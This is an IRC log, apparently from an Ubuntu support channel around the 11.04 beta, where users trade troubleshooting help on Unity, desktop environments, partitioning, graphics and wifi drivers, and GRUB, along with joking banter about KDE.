bin_bashimmad.jpg16:47
KM0201don't do it.. KDE is a linux virus!.. ;0 (another joke)16:47
bhaveshlol..16:47
no-nicklol16:47
bhavesh!KDE16:47
ubottuKDE (http://kde.org) is the !desktop environment used natively in !Kubuntu. To install from Ubuntu: « sudo apt-get install kubuntu-desktop », or see http://help.ubuntu.com/community/InstallingKDE . See http://kubuntu.org for more information.16:47
ubuntu4shaneI'm surprised that the beta2 is only going to be tested for 1 week???  I went ahead and installed.16:48
* yofel pokes KM0201 and notes that he's a KDE user...16:48
KM0201:)16:48
* KM0201 dawns the protection of Gnome16:48
yofelubuntu4shane: 2 week, there will be no RC from what I know16:48
yofel*weeks16:48
bin_bashKM0201: skype wouldnt install16:48
KM0201bin_bash, did you get that "unsafe package" error?16:48
ubuntu4shaneif I'm installing  and /home is the same and username /home is the same as old user should I delete or move any folders before installing?16:48
ActionParsnipbin_bash: run:  sudo apt-get -f install    and it will install16:48
KM0201or... just download Gdebi, and use Gdebi to insall it16:49
KM0201i hate using -f16:49
ActionParsnipubuntu4shane: should be ok without deleting16:49
KM0201it just feels so dirty16:49
ubuntu4shaneyofel: wasn't beta2/RC only released on the 14th?  and isn't it going to be released on the 22?16:49
no-nickthannks KM020116:49
no-nickbut i went with apt-get16:49
yofelubuntu4shane: no, 28th16:49
KM0201!isitoutyet16:49
ubottuIt's way too early for it to be out; check back on the 28th.16:49
no-nickand its already 15% downloaded16:49
yofelubuntu4shane: see schedule in /topic16:49
ActionParsnipKM0201: why it (f)ixes the packages by downloading missing deps, you hate fixing your packages? very strange16:49
KM0201no-nick, i tried to warn you.16:49
ubuntu4shaneyofel: ahhh, ok, somehow I had the 22 stuck in my head.16:50
bin_bashActionParsnip: that removed it16:50
KM0201i thought -f meant force.. guess i was misinformed... still though, Gdebi does the exact same thing.. it will also download the deps16:50
no-nickKM0201: no-nick is crazy enough to go for it !16:50
ActionParsnipbin_bash: did you use the link I gave?16:50
bin_bashyeah16:50
ActionParsnipKM0201: i suggest you read the man page before expressing opinions16:50
bhaveshwhy does my internet on ubuntu works 5 times faster?16:51
KM0201ActionParsnip, i didn't say it was unsafe, i said i didn't like it16:51
bhaveshthan windows...16:51
ubuntu4shaneActionParsnip: ok, but will that import all my gnome settings into unity and give me an ugly intro to unity?  I had that happen when I installed unity on 10.10 to see what it was, and I was very un-impressed because my desktop was a complete mess.16:51
ActionParsnipbhavesh: different coding of the network stack16:51
ubuntu4shanealso is there a Unity new users guide?  I'm pretty dump to this unity stuff, but willing to give it a try.16:52
* bhavesh laughs on Microsoft16:52
ActionParsnipubuntu4shane: it should import your settings for apps and such. I'd give it a go16:52
no-nickbhavesh, and also because it dosn't download stuff that your not aware of it unlike windows.16:52
izinucsI just minimized Chromium and had to CTRL+TAB to find it again.. there was no indication it was minimized anywhere.  Have I missed turning something on or is there an indicator that needs setting up?16:52
ActionParsnipKM0201: not liking wanting to satisfy deps is a it obscure in a package basedOS16:52
cadorettIs there some mode more failsafe/lower level then single user mode? I can't seem to get any interactive display up when booting into 11.04 beta 2 after a fresh install? I installed using alternate cd.16:52
ubuntu4shaneActionParsnip: ok, maybe I will see how it goes, I guess I can find instructions for reseting the desktop to a default and then arranging it to my liking later.16:53
KM0201ActionParsnip, you're obvviously in a pissy mood today or something, i didn't say i don't like satisfying deps.16:53
no-nickizincus: in the Application-Bar* the open applications icons are outlined.16:53
cadorettAll that is displayed is some corrupted looking lines in about 1/5th of the screen16:53
stefanivarsson@ubuntu4shane. Look at System->Help and Support. Pretty good start on Unity16:53
ubuntu4shanestefanivarsson: thanks!  I always forget the most obvious!  :)16:54
no-nick65% of Linux Virus is Downloaded yet ! i hope it let me use my computer.16:54
ActionParsnipKM0201: http://pastebin.com/DMxhffVe16:54
bhaveshLinux Virus?16:54
KM0201ActionParsnip, ok, where did i say it wasn't safe again?16:54
ActionParsnipubuntu4shane: you can always rename the.gnome etc folders then reboot to get vanilla settings16:54
cadorettOr perhaps is there some way to install an nvidia driver using another ubuntu install16:54
ActionParsnipKM0201: just saying you hate -f was a bit weird, thats all16:54
no-nickbhavesh: KM0201 can explain it to you ! lolz16:55
KM0201well, you seem really hung up on it for some reason...16:55
izinucsno-nick: doesn't appear that way here.. When I click on the cromium link again it simply loads another instance of itself16:55
bhaveshHe's always joking, no-nick16:55
no-nickhaha yeah, which is good, bhavesh.16:55
KM0201bhavesh, ah, i wouldn't say always joking, i'm just pretty laid back most of the time16:55
bhaveshyup16:55
bhaveshgood16:56
KM0201i'm serious when someone is actually needing help.16:56
no-nickizinucs: for the open applications i have pointers on both side and for the minimised ones there is only one at the left side16:56
* bhavesh feels pity on my school mates who still don'y know about any other OS16:56
bhaveshon his** lol16:57
bhaveshdont**16:57
eliasis it normal for pulseaudio to be in the notification area, and for it to not find its icon?16:57
no-nickKM0201: yeah you are! man no one said something like that :D16:57
KM0201:)16:58
bhaveshKM0201 is 60% responsible to keep others happy :)16:58
izinucsno-nick: for the terminal window open running irssi I have 2 pointers when the window is in focus and only one when it isn't.  However no such thing with chromium16:58
KM0201lol16:58
KM0201bhavesh, i think it was you i was talking to about this.. did i tell you i finally go tthat "moving window' bug?...16:59
no-nickizincus i have it with chrome as well, have ticked "Keep in launcher" ?17:00
bhaveshmoving window?17:00
izinucsno-nick: where do you place that tic?17:00
KM0201maybe it wasn't you.. where when a maximized window is minimized, it moves to another workspace17:00
bhaveshno, KM0201 you were talking about chromium top bar going back to ubuntu default17:00
bhaveshnope :)17:00
KM0201thats right.17:00
no-nickright click on the application icon on the Launcher (the application bar thingy)17:01
izinucsno-nick: just figured that out.. and it was already ticked.. as I had dragged to the launcher bar..17:01
no-nickizinucs: even if the chrome is not minimised clicking on the icon dosn't opens a new instance.17:03
no-nickwhich version of chrome are you using ?17:03
no-nickKDE installed !17:04
no-nicktrying the linux virus for the first time !17:04
* KM0201 shutters17:04
bhaveshKM0201: I need o unswap sda5, sda6 and sda7 and format them? http://i.imgur.com/yYXdF.png17:04
no-nickhope to see you guys from KDE!17:04
yofel*sigh*, it's not a virus...17:04
no-nicklolz, yofel17:04
no-nicki know i just liked that.17:05
KM0201bhavesh, wow.. thats... um, interesting17:05
KM0201how on earth did you do that?17:05
no-nickbrb17:05
bhaveshI did what?17:05
KM0201well, you have 4 swap partitions.17:05
izinucsno-nick: iif chrome *is* minimized and the icon is clicked I do get another loaded instance of it.17:05
KM02011.. appropriately sized, is more than sufficient17:05
bhaveshyup.. I showed it to u even before17:05
KM0201you've got 30gigs unallocated..17:05
bhaveshyes17:06
bhaveshabout 50Gigs17:06
bhaveshor even 7017:06
KM0201bhavesh, if it were me, i'd delete that whole extended partition, and start over17:06
bhaveshextended partition? are u talking about sda4? KM020117:06
KM0201yes17:07
KM0201but thats just me17:07
bhaveshok17:07
KM0201bhavesh, but... you can turn the swaps off, by right clicking them....17:07
bhaveshI think I should format those linkx swap partitions and join them together?17:07
KM0201bhavesh, well, if you delete the entire extended partition, the swaps are gonna go away.17:07
KM0201(but so will ext4)17:08
bhavesheven the grup is gonna go away..17:08
KM0201the issue w/ movin the swaps.17:08
bhaveshgrub17:08
KM0201bhavesh, well, the point is to reinstall...17:08
KM0201the problem if you try to move the swaps..17:08
KM0201to be "all together"17:08
KM0201the partitioner is gonna have to move your ext4, to make room.;17:08
KM0201and that could take quite a while17:08
KM0201see what i'm saying?17:08
bhaveshill unswap all the SWAP partitions, format them and make them one then SWAP it again?17:09
KM0201yeah, you could try that... but17:09
izinucsno-nick: check it out http://img695.imageshack.us/i/screenshotyr.png/17:09
bhavesh?17:09
KM0201lets say you're gonna leave sda6, as your swap17:09
bhaveshok17:09
KM0201and you want to merge the other two to it.17:09
KM02017 and 517:09
bhaveshok?17:10
KM02017 and 5, are at the end of the partition17:10
KM0201and 6 is at the beginning.17:10
bhaveshyes.. does that matter?17:10
KM0201to merge 6, with 7 and 5...its gonna ahve to move ext4, which is huge.. and it could take a while, that was my only point17:10
KM0201bhavesh, pretty sure it does.17:10
bhaveshKM0201: lol so I will just format sda 5 and 7 merge them and then..... mix them with the unallocated part?17:11
bhaveshwhen u make a partition does it draw some line kinda thing on hard drive?17:11
KM0201you could do that to... or.. like i said, just nuke the entir eextended partition and make it unallocated, then reinstall to the unallocated partition, and set it up properly17:11
KM0201bhavesh, not really a line, but the data is stored in order (or at least thats my understanding)17:12
bhaveshok17:12
KM0201hang on a sec, lemme check something17:12
bhaveshhmm let me think.17:12
bhaveshKM0201: does writing and erasing data on Hard Drive again and again damage it?17:12
KM0201i wouldn't think so.. i've formatted my laptop drive more times than i care to think about.. i mean, eventually a hard drive is gonna go bad, from being written/rewritten...17:13
KM0201but...17:13
KM0201unless yu're using an SSD, or if you're installing to a USB drive... which typically have a limited number of writes before they go kaput, you should be fine17:13
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bhaveshI dont even know what is an SDD17:13
bhavesh!SDD17:13
bhaveshlol17:14
KM0201solid state drive.17:14
bhaveshok17:14
KM0201the newest rage in computers...17:14
bhaveshok17:14
KM0201spend double the money, for half the space117:14
KM0201!17:14
bhavesho.o17:14
RowanHWhen I enable edge flipping while dragging a window, it makes it so I can't use the "Grid" feature. Is there any way to make it so when I'm holding shift while dragging a window it will move to the next workspace?17:15
afghanback17:15
afghanfrom KDE!17:15
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no-nickKDE seems to work fine in 11.0417:16
KM0201bhavesh, i actually have an idea.17:16
izinucsLooks like chromium doesn't have indicators in the side icon bar showing that it's loaded.  Terminal does as well as firefox.. http://img402.imageshack.us/i/screenshot1re.png/17:16
KM0201if your goal is a bigger swap....17:16
bhaveshyes?17:16
KM0201bhavesh, if your goal is a bigger swap.. then i think the easier thing to do, would be to delete sda6(which is only 1.5gig)17:16
no-nickwhy is ubuntu packed with Gnome !?17:17
KM0201then merge 7 and 5... that will give you a 4gig swap, and you'll have another 1.5 unallocated17:17
KM0201no-nick, don't tell me you like kde17:17
no-nicki mean KDE looks much better then gnome and is faster ?17:17
damadprofhi guys, I'm using the ubuntu classic desktop; it appears that the menu bars of every window I open is situated at the top, this leaves a window I cannot move, bit difficult when I need to get to the bottom of one window when it is off the screen slightly, is there a setting to later this at all?17:17
KM0201faster?17:17
no-nickyeah!17:17
KM0201i used KDE for about 45min the other day.. i kid you not, i broke out in hives17:17
KM0201lol17:17
bhaveshKM0201: erm If I format my sda6.. u said it would take time to move ext4 ..17:17
no-nickwill i got a prbook 4320 with core i517:18
no-nickmaybe i got lots of resources17:18
KM0201bhavesh, you could probably format sda6, and then resize sda8, to take up the space that sda6 occupies... it would probably take a little time, but probably not bad17:18
KM0201no-nick, it wasn't the fact that it was slow that bothered me (although it was)17:18
KM0201the interface is just awful17:18
KM0201adding stuff to the panel, was like trying to bargain with a two year old to get a shot.17:19
no-nickeih, its not that bad KM020117:19
bhaveshKM0201: a better idea.. I would format my whole sda4, use windows 7 for sometime.. then switch back to ubuntu when the stable version comes out?17:19
KM0201no-nick, well, all i'll say is.. thank goodness for choice.17:19
no-nicklolz17:19
KM0201bhavesh, only problem with that, is you'll get a grub error.17:20
KM0201when you try to boot (after deleting sda4.17:20
no-nickbut its not fair that ubuntu is only packed with gnome17:20
KM0201no-nick, well, they can only  make a 690mb ISO...17:20
bhaveshthen ill have to do is fixmbr with windows 7 CD..17:20
KM0201so there's only so much awesome that can be packed on17:20
bhaveshill first enable windows boot screen17:21
KM0201bhavesh, ok, if you're comfortable w/ that... then i dont think thats a bad plan17:21
no-nickfair enough :) ,KM020117:21
BluesKajKM0201, odd cuz i found gnome really unintuative to navigate , not particularly user friendly or even easy on the eyes.17:21
KM0201no-nick, besides that, there si "Kubuntu" that comes packed w/ KDE, if thats what you want17:21
bhaveshKM0201: ok :) ill c u then when I get back ubuntu17:21
KM0201bhavesh, best of luck17:21
bhaveshKM0201: ty17:21
bhaveshbb17:22
KM0201BluesKaj, its obviously alla  matter of opinion.. i just cannot use KDE.. .i hated KDE3.. KDE4.. is slightly better, but i still.. ugh. .. i get the shivers thinking about it.17:22
no-nickKM0210: I have start to realise what you are trying to say :P17:23
BluesKajyeah too blue for you methinks KM0201 :)17:23
KM0201BluesKaj, i tried to use it on a live USB the other day... i honestly am to the point of throwing away that USB to make sure i never try that again..lol17:23
KM0201honesty, i installed gnome 3 the other day, and i consider it just as bad as KDE17:24
KM0201if Gnome 3 continues on that course, when it becomes the only Gnome available in Ubuntu, I'll be moving on to lxde most likely17:25
KM0201or maybe xfce.. ikinda like xfce17:25
lnostdalseems running 11.04 under virtualbox is quite buggy ..       why does this thing need support from gfx card anyway? ..     my cpu has 4 cores each 3.4GHz each; it can handle 2D stuff without blinking an eye17:25
damadprofanyone help me with this menu problem? Ubuntu classic interface, slide menu to the left vertical, and a top bar that doesn't seem can be altered, every window I open is stuck to the desktop I cannot move them without their menu bars but they are sitting on thetop taskbar?17:25
no-nickwill17:26
lnostdal..it just gives a black screen now ..doesn't even boot17:26
no-nickthe KDE is a bit over-polished17:26
KM0201lnostdal, because of the default 3D desktop.. you're not gonna get 11.04 to start in vbox.. even w/ 3d enabled17:26
KM0201overpolished?17:26
lnostdalwhy is this an improvement?17:27
KM0201it's got some serious bloat issues, not that Gnome is a lowfat OS17:27
KM0201lnostdal, its an improvement, when you're not using Vbox.17:27
no-nickthe design fancy stuff are abit more then what is good.17:27
damadprofI had kde3 and the fonts in write were terrible, the desktop fonts were nice and sharp but within write..yuk17:27
KM0201speaking of fonts...17:27
lnostdalscrew this then ..17:27
KM0201has anyone installed Google Earth, and got those crazy fonts.... ? i haven't figured out how to fix that17:28
no-nicklolz17:28
no-nickKDE dosn't has a clock !17:28
no-nickyou have add a widget for it17:28
ubuntu4shaneok, wicd doesn't show on the panel notification thing?  how do I get that to show up? or how do I reload it to see if it works17:29
damadprofnope not yet, I need to get this damn menu thing sorted first :(17:29
ubuntu4shaneI think this is why people don't like change, it reverts you to a noob!17:29
damadproflol....that'll be me then :)17:29
KM0201ubuntu4shane, are you using unity, or gnome classic?17:29
ubuntu4shaneunity17:29
KM0201thats why... wicd.. the applet for it goes to Notification area (which is no longer)... Indicator applet has taken over all that, and wicd doesn't have indicator applet17:30
ubuntu4shaneKM0201: I just did a default install, and thought I would try unity and see if I can figure it out, and if I really like it or not.17:30
damadprofI wish mine would run unity :(17:30
KM0201ubuntu4shane, it takes some time to get used to Unity (took me about 4 days)... but after a few days, and figuring out how to navigate it and use it.. i actually kinda like it.17:30
ubuntu4shaneKM0201: ok, so, that is no good, is there a fix/work around?17:30
rejoinhello, i have downloaded the 11.04 latest beta and it boots in gnome rather than unity, why?17:30
no-nickok 2am here17:31
no-nickgotta hit the hay17:31
no-nickhave a good time everyone and thanks for the help17:31
damadprofits an acer 8920g with a 512 (ATi-crap) in it :(17:31
KM0201ubuntu4shane, not that i'm aware of... not to say there isn't, but i don't know how to put the notification area back in the panel, under unity.. like i said, i think the idea is for unity to go away17:31
KM0201no-nick, night... don't have kde nightmares17:31
no-nicklolz i will try to !17:31
ubuntu4shaneKM0201: ok, thanks17:31
yofelno-nick: huh? the clock widget should be there by default o.O17:32
LordNeoGood Afternoon, i'm having random xserver crashes resulting in me being loged off. No issues in login back, but i want to solve the annoyance. Besides of ~/.xsession-errors is there any other logs i may look for?17:32
darellhave a stupid question - can you help?  <-- that was not it17:32
ubuntu4shaneanother question, I used to keep temp indicators on my panels, is there a way to do that in unity?17:32
yofelno-nick: well, gn17:32
KM0201ubuntu4shane, i think its just gonna be a gradual process... some apps just don't have an "indicator applet"... while others do.17:32
no-nickyeah but if you have the panel thingy17:32
no-nickgn everyone17:32
no-nickbye17:32
damadprofn17:32
ubuntu4shaneKM0201: right, that is going to be a pain I think till everything gets sorted.17:32
izinucsKM0201: I'm finding it's like gnome classic without the menu (or direct access to it) with a docky thingy that has some compiz effects.. so far for me it's looking a bit more cumbersome17:32
KM0201ubuntu4shane, yup.17:32
darellif i d/l and install 11.04b1 and do updates everyday - does that mean my system should be at 11.04b2 now?  or is that a totally separate upgrade/install?17:33
spacebug-are one not able to att there own programs to the launcher on the left side? Also is it really a lanucher? First time it opens the program next time it brings me to the first instance of that program I started. I wanted to start a new instance..17:33
KM0201izinucs, thats a pretty close description actually... i've said several times.. I don't think Unity is perfect (far form it)...  this is obviously a gradual process, and i think by 12.04, or maybe 11.10, we're gonna see Unity looking/functioning much better17:33
trismspacebug-: you can add your own launchers, right click the desktop, create launcher, then drag it to the launcher sidebar17:34
KM0201izinucs, remember when ubuntu was migrating to KDE 4, and they just cold turkeyed everyone onto it (i think at 10.04, maybe 9.10... ) an dit sucked...17:34
trismspacebug-: you can middle click a launcher to start a new instance17:34
KM0201everyone complained, etc17:34
ubuntu4shaneok, wicd is out, I tried every command and nothing brings it up to let me configure it!  This is a real problem for me, since the very bad network-manager by default doesn't allow a network ignorant person to setup an IP address, which I need.17:34
KM0201well, by the next release, they had a majority of the bugs worked out, and by the 2nd release, everyone loved it again17:34
rejoinany ideas?17:34
KM0201when yu're completely revamping the user interface, there's bound to be some growing paints.17:35
ubuntu4shaneso, I'm sure that since Unity is very young, they have allowed for a bail out to the gnome desktop feature somehow?17:35
bhaveshKM0201: I changed my mind, and deleted sda9, now I have 3 swap partitions17:35
KM0201ubuntu4shane, of course, log out, at the bottom, click "Sessions" and choose Gnome Classic17:36
yofelKM0201: that was actually 8.10 I think, and yeah, KDE only became usable in 4.2, 4.0 was totally unusable and 4.1 only slightly better17:36
ubuntu4shaneKM0201: ahh, great, thanks!17:36
bhaveshwhen I try to delete sda7 or sda6 it says please unmount any logical partitions higher than 717:36
izinucsKM0201: Oh yea.. kde never intended that original release to be mainstream but had to do it .. I actually like the current itteration of kde and find it a pleasing environment.  However I like classic gnome for some of its features that are lacking in kde (and vice versa). If you could merge the two might be great!17:36
KM0201yofel, right, that was my real point...17:36
bhaveshso should I try it from live USB? KM020117:36
* yofel used gnome back then for a while, and went back with KDE 4.3 in karmic17:36
bhaveshor is there some other way17:36
KM0201you'll probably have to do it from the live cd/usb17:37
bhaveshk17:37
LordNeoGood Afternoon, i'm having random xserver crashes resulting in me being loged off. No issues in login back, but i want to solve the annoyance. Besides of ~/.xsession-errors is there any other logs i may look for?17:37
spacebug-tnx trism , would never had figered that out myself though17:37
yofelizinucs: considering Qt is now being used more that's more than a dream :D17:37
trismspacebug-: yeah, you really should be able to right click the launcher and create a new one17:37
spacebug-is there also a way to get the old menus back and get rid of that launcher ?17:37
damadprofanyone help me with this menu problem? Ubuntu classic interface, slide menu to the left vertical, and a top bar that doesn't seem can be altered, every window I open is stuck to the desktop I cannot move them without their menu bars but they are sitting on thetop taskbar?17:38
spacebug-I have already uninstalled the indicator-appmenu to get som old behavous back ;)17:38
trismspacebug-: you can log into the ubuntu classic session and it will be pretty much like 10.1017:38
KM0201yofel, 8.10?.. is kde4 that old?.17:38
KM0201granted i'm not a KDE user, but i was thinking it was barely a year old17:38
spacebug-ok tnx trism17:38
darellhello?17:39
bin_bashhi?17:39
bin_bash!ask17:39
ubottuPlease don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-)17:39
darellif i d/l and install 11.04b1 and do updates everyday - does that mean my system should be at 11.04b2 now? or is that a totally separate upgrade/install?17:39
izinucsKM0201: nope it's got some seasoning..17:39
KM0201yofel, ah, looking at the wiki, you are indeed right... kde4 was initially released 1/11/0817:39
yofelKM0201: pretty much, also KDE releases every 6 months, so 4.6 makes KDE4 3 years old ;) and 8.04 was our last KDE3 release, and the kubuntu team didn't even consider that LTS as upstream didn't support KDE3 for that long17:40
LordNeoweird, in #ubuntu says #ubuntu+1 is the support channel for natty, and here says support is on #ubuntu....17:40
yofeldarell: yes17:40
yofel!final | darell17:40
ubottudarell: If you installed a Alpha/Beta/RC version of Natty Narwhal and have been keeping it up to date, then you are already running the latest version of Natty. To make sure, type « sudo apt-get update && sudo apt-get dist-upgrade » in a console.17:40
darelltks17:40
KM0201darell, as long as you keep your system up to date... you'll stay "current" ... when its final release, then update, and you'll ahve the final release17:40
spacebug-LordNeo: this is it17:41
charlie-tcaLordNeo: support for all releases except Natty is in #ubuntu. When natty releases, it will also be there17:41
darelltks - what i wanted to know...  having trouble shutting down...  11.04b2 w/nvidia current driver - shutdown "splash" screen freezes and system will not shut down17:41
KM0201well, hopefully gnome 3 improves.. i'll be happy when its actually in the ubuntu repos, instead of the PPAs17:41
cadorettIs there some mode more failsafe/lower level then single user mode? I can't seem to get any interactive display up when booting into 11.04 beta 2 after a fresh install? I installed using alternate cd.17:42
cadorettAll that is displayed is some corrupted looking lines in about 1/5th of the screen17:42
KM0201hmm.17:42
rejoincould someone please help me?17:42
piccaanyone here find that ubuntu 11.04 doesn't shutdown properly17:42
cadorettTerminal isn't accessible via the traditional hot keys17:42
darellpicca:  yes - me too17:42
rejoin hello, i have downloaded the 11.04 latest beta and it boots in gnome rather than unity, why?17:42
piccadarell, that is a relief then .. not just me17:42
yofelpicca: does here, using KDE though - where does it hang/fail?17:43
darellpicca:  has to do with nvidia and splash screen - but i have not found a "good" solution yet17:43
charlie-tcarejoin: check in hardware drivers for a video driver.17:43
charlie-tcaIf the video does not support unity, it will default to gnome17:43
piccayofel, just checking the syslog messages but can't see anything obvious ... it goes back to the boot logo and then just hangs forcing me to power it down by the off switch17:43
piccadarell, i use intel here and it happens17:44
KM0201strange, it shuts down fine for me17:44
yofelhm, haven't seen that yet... also, please use ctrl+alt+del or REISUB instead of the power button17:44
darellpicca:  i heard it does it to intel also...  there is chatter in the forums - but i was hoping someone smart in here has a solution...  i think if splash is turned off in the grub it might fix it - but i'm not positive17:45
piccait will probably take me longer to come up with a solution that it would to just wait for it to be fixed17:45
KM020150mb of updates this morning17:45
darellyofel: what is REISUB?17:46
piccaShame as i am finding 11.04 quite stable now apart from that issue my wastebin icon changing from a small empty bin to a fat empty bin every now and again17:46
yofel!reisub | darell17:46
ubottudarell: In an emergency, you may be able to shutdown cleanly and reboot by holding down Alt+PrintScreen and typing, in succession, R, E, I, S, U and B. For an explanation, see http://en.wikipedia.org/wiki/Magic_SysRq_key17:46
KM0201yofel, wow, never heard that one.17:47
yofel*very* handy when testing alphas :P17:48
rejoincharlie-tca, thanks, that makes sense17:48
rejoincharlie-tca, when i typed unity in console it spit out some compiz errors17:49
charlie-tcarejoin: If your video won't support it, you can not use it17:50
darellubottu:  well - that did the reboot without hanging...  but would be nice to fix the hang problem17:50
ubottuError: I am only a bot, please don't think I'm intelligent :)17:50
KM0201hehe17:50
KM0201!ubottu17:50
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rejoincharlie-tca, i'm running it on a virtual machine17:50
KM0201updates finished.17:50
KM0201hmm, looks like grub had a new theme installed?17:51
charlie-tcarejoin: Virtual Machines don't support the video required for Unity. Trying to force it won't work17:51
KM0201ok, gotta restart, brb17:53
rejoincharlie-tca, ok, thanks again17:53
hardcoldwhite17:54
KM0201http://www.howtogeek.com/wp-content/uploads/2011/03/Winbuntu.jpg18:00
KM0201thats a good wallpaper18:00
delacKM0201: yes, that and vista theme on ubuntu would be nice combination :)18:05
KM0201delac, not sure about the vista theme, but i like the wallpaper.18:05
KM0201lol18:05
knightautwellhey how do i set up an AP using ubuntu18:13
knightautwellthat say a psp can access the internet on18:14
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Guest46392http://www.euirc.net/de/server_admins.php18:16
Guest46392ups sorry18:16
Guest46392ubuntu rockz!18:16
KM0201ok, brb..18:17
cbilljoneswould it be possible to have unity drop to unity 3D upon VNC connections? i think this would be a good feature18:19
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hardcoldhello18:29
hardcoldtrying to install flgrx18:29
hardcoldusing the wiki18:29
hardcoldhttps://help.ubuntu.com/community/BinaryDriverHowto/ATI18:29
hardcoldI'm at step 1118:29
hardcoldI tried changing ubuntu/maverick to ubuntu/natty18:29
hardcolddoesn't work18:29
hardcoldany ideas? I have no clue what I am doing18:30
mongyis there a proprietary nvidia driver available yet?  helping a friend and they say the screen is flickering a lot, probably due to noveau18:33
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ryemongy, I am using the nvidia-current proprietary driver in natty18:39
ryemongy, i've been using it for last month or so18:39
mongyis that the name of it to install?18:40
mongynever used nvidia with linux, always had ati18:40
trismmongy: just use System Settings/Additional Drivers18:41
yofelyou should install it over jockey (hardware drivers app)18:41
KM0201mongy, nvidia is usually easier... go to system/admin/additional drivers, and see if your driver is listed there, then just activate it18:41
yofelif you install it with apt-get you'll need to run nvidia-xconfig too or it won't work18:41
mongythink they installed it.. brb18:41
cbilljonesmongy nvidia driver is available18:49
mongythey installed it.  finding out if its fixed flicke18:51
mongyodd that it never happened when they booted livecd and used it for an hour18:52
bhaveshMy college wont provide me internet and I want to install wine there, how can I?18:59
bhaveshis there any setup file which I can carry?18:59
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elwillowbhavesh, check on the winhq.org website, you might be able to find "all" of the package you need.19:01
bhaveshit says I need to do sudo apt-get install wine1.319:02
yofelyou can also get all packages from the archive from http://packages.ubuntu.com/ ( you'll need to download all dependencies too)19:02
mongyuse apt-get --download-only  or something19:03
mongyand grab the packages from /var19:03
mongyor use aptoncd maybe?19:04
rdesfohello19:04
rdesfohas any one been able to get boxee to work on 11.04?19:04
bhaveshk19:04
ayush_i can't get my broadcom wifi drivers to install in natty beta 2. never had this problem in maverick or lucid19:08
ayush_please help19:08
KM0201ayush_, which broadcom?19:09
ayush_KM0201: Broadcom 802.11g Network Adapter19:10
ayush_thats all I know19:10
KM0201ayush_, ... that tells me exactly nothing.... open a terminal and type "lspci" no quotes, and hit enter19:11
ayush_it says : Sorry, installation of this driver failed. Please have a look at the log file for details:/var/log/jockey.log19:11
ayush_KM0201: errrr I am on windows right now. is there a way to find out what you need in windows?19:12
KM0201no19:12
mns``ayush_: http://ubuntuforums.org/showthread.php?t=159238319:13
Richardo_Hi I've recently installed ubuntu natty and tryed to do a dual boot with windows 7 but it doesn't work in grub! Please help!19:13
ayush_okay at least tell where i can report this problem. Can this be called a bug?19:13
mns``ayush_: maybe that link has the solution you want19:13
ayush_mns``: it doesn't19:13
yofelayush_: if possible get a wired connection, check /var/crash for the crash file, open that in nautilus and let apport file the bug19:13
KM0201ayush_, its likely not a problem, you probably just need to install/activate the driver... but its hard to tell you how to do that, when you don't know what chipset is on the card19:14
yofelKM0201: the driver install failed..19:14
KM0201yofel, oh....19:14
KevinDivideHello everyone19:14
yofeland yes, we *at least* need the /var/log/jockey.log from the affected system19:14
mns``yofel: what´s the error?19:14
eagles0513875hey guys19:14
KM0201he didn't say that19:15
eagles0513875where can i download a newer version of knetwork manager damn thing is crashing left right and center19:15
Richardo_Hi I've recently installed ubuntu natty and tryed to do a dual boot with windows 7 but it doesn't work in grub! Please help!19:15
KevinDivideNeed some help.. I've tried searching around for the answer but can't seem to locate any topic19:15
yofelKM0201: he did: [20:11:22] <ayush_> it says : Sorry, installation of this driver failed. Please have a look at the log file for details:/var/log/jockey.log19:15
ayush_yofel: i've copied jockey.log to the windows partition.19:15
eagles0513875i need it to test a kernel from proposed kernel ppa19:15
KM0201yofel, thats probably while i was gone.. i had to run to the post office...19:15
yofelayush_: can you pastebin it?19:15
ayush_yofel: whom do i send it too?19:15
yofel!pastebin19:15
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yofelayush_: if you can't get a wired connection, see on https://help.ubuntu.com/community/ReportingBugs how to manually file a bug, use bcmwl-kernel-source as the package and attach the jockey.log to the report19:16
mns``ayush_: do turned on wifi on your laptop?19:16
mns``ayush_: maybe it´s just off and that´s why the driver fail to install19:17
ayush_yofel: http://paste.ubuntu.com/595613/19:17
KevinDivideusing natty beta2 on netbook... touchpad was working fine in 10.10 then stopped responding after update manager 11.04 install.. even rolled back to 10.10 and touchpad didn't work19:17
KevinDivideusb mouse works fine, but I'm left wondering... what the fish happened/19:17
ayush_mns``: it won't give me the option to enable wifi19:17
Richardo_Hi I've recently installed ubuntu natty and tryed to do a dual boot with windows 7 but it doesn't work in grub! Please help!19:18
KevinDividehas anyone had any trouble with netbook trackpads not working?19:18
mns``ayush_: maybe one of the Fn keys + wifi button or something?19:18
KM0201brb19:18
yofelayush_: no idea what fails from that log, probably the module build failed, but other than you installing bcmwl-kernel-source by apt-get in a terminal on the system I don't know how to debug this further19:19
ayush_yofel: should I report this bug?19:19
KevinDivideok better question.. is anyone seeing this message?19:19
yofelayush_: yes, you should19:20
Richardo_KevinDivide, exactely what I'm thinking about mine lol :L19:20
KevinDivideah!19:21
charlie-tca!grub } Richardo_19:21
ubottuError: I am only a bot, please don't think I'm intelligent :)19:21
charlie-tca!grub | Richardo_19:21
ubottuRichardo_: GRUB2 is the default Ubuntu boot manager since 9.10 (Karmic). Lost GRUB after installing Windows? See https://help.ubuntu.com/community/RestoreGrub - For more information and troubleshooting for GRUB2 please refer to https://help.ubuntu.com/community/Grub2 - See !grub1 for releases before Karmic (9.10)19:21
mns``ayush_: have a look at this -> http://techtikus.com/how-to-enable-your-broadcom-wireless-card-in-ubuntu-10-10/19:22
mns``ayush_: i guess that is the same on natty19:22
KevinDivideRichardo_: Well, your message came back to me no problem. I think they're just ignoring us... too new.19:22
charlie-tcaRichardo_: that link tells how to do it.19:22
Richardo_No I've already followed that guide sorry if I wasn't clear I installed windows first then natty19:22
charlie-tcaThat guide tells you how to reinstall grub, which will fix that issue19:23
Richardo_But grub2 is already is already installed? Surely re-installing it would do nothing?19:26
charlie-tcaNothing except fix the problem with windows not there?19:27
KevinDivideCan anyone help with a trackpad issue? I was on 10.10 and installed 11.04 via package manager install.. trackpad stopped working, rolled back to 10.10 and trackpad was still not working... back on 11.04 now.. usb mouse has worked the whole time, but no track pad.19:27
KevinDividetried searching around, couldn't find anything.. so I came here19:27
Richardo_Oh ok thanks charlie-tca I'll try now19:28
knightautwellanyone know how to use the datel wifi max with natty????19:31
KM0201knightautwell, do you know what chipset is on that wifi device?19:36
knightautwellhow would i find out? would it be on the box or the docs that came with it?19:36
KM0201no.. is it internal, or USB?19:36
knightautwellusb19:36
KM0201k, hang on19:37
knightautwellmy internal should be able to do it too19:37
KM0201whats your internal?19:37
